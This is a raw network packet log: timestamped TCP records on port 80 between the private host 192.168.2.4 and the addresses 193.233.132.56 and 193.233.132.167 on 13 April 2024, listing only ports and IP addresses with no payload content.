Apr 13, 2024 20:21:07.940939903 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940941095 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940958023 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940968037 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940975904 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940982103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.941004992 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.941025972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.941057920 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.941076994 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.941095114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.941116095 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.941116095 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.941135883 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.946829081 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.946860075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.946904898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.946937084 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.009160995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009192944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009211063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009228945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009233952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009246111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009263992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009265900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009275913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009282112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009299040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009303093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009318113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009325027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009335041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009346008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009354115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009356976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009371042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009377956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009388924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009398937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009407997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009413004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009433031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009433985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009454012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009474039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009485006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009514093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009521961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009552002 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009563923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009589911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009597063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009625912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009633064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009663105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009671926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009701014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009707928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009740114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009744883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009778023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.009799004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.009824038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011400938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011464119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011466026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011502981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011514902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011543036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011554956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011581898 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011596918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011620998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011636019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011657953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011666059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011698008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011703968 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011738062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011748075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011776924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011790991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011815071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011830091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011852026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011859894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011889935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011902094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011928082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.011940956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.011979103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012367010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012403965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012418985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012444019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012455940 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012481928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012495995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012520075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012526989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012556076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012563944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012597084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012609005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012633085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012654066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012680054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012691975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012717962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012732983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012758970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012772083 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012799978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012810946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012836933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012871981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012876034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012895107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012911081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012924910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012947083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012953997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.012984991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.012993097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013021946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013027906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013058901 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013067961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013098001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013103962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013134003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013149023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013170958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013186932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013207912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013222933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013246059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013258934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013282061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013298035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013318062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013331890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013355017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013370037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013394117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013406038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013430119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013447046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013467073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013479948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013504028 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013509989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013540030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013550997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013578892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013586998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013617039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013624907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013654947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013668060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013690948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013699055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013730049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013746977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013768911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013777018 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013808966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013822079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013844967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013860941 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013936996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013952017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.013973951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.013987064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014014959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014022112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014053106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014060974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014091969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014100075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014128923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014144897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014166117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014183044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014214039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014224052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014251947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014262915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014287949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014291048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014324903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014332056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014362097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014372110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014400005 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014410019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014436960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014447927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014473915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014484882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014511108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014516115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014548063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014552116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014585972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014597893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014622927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014627934 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014659882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014668941 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014695883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014707088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014734983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014743090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014772892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014780998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014810085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014818907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014847040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014858007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014883995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014900923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014920950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014934063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014957905 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.014971972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.014996052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015003920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015033007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015038967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015068054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015080929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015119076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015120029 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015156984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015172005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015197039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015208960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015234947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015249014 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015270948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015285015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015307903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015324116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015345097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015357971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015384912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015398979 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015422106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015430927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015458107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015474081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015495062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015502930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015532017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015538931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015571117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015585899 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015609980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015616894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015645981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015659094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015682936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015697956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015721083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015737057 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015760899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015773058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015799999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015813112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015836954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015845060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015873909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015887022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015911102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015925884 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015948057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015958071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.015985966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.015993118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016022921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016036034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016058922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016072035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016096115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016110897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016134024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016141891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016172886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016194105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016211987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016236067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016259909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016263962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016302109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016315937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016339064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016351938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016376972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016391993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016416073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016431093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016453981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016459942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016489983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016496897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016526937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016540051 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016562939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016582012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016601086 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016608953 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016638041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016649961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016675949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016690969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016712904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016717911 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016756058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016762972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016793013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016808033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016830921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016849041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016866922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016880035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016904116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016913891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016942024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016947031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.016978025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.016985893 CEST	49739	80	192.168.2.4	193.233.132.167
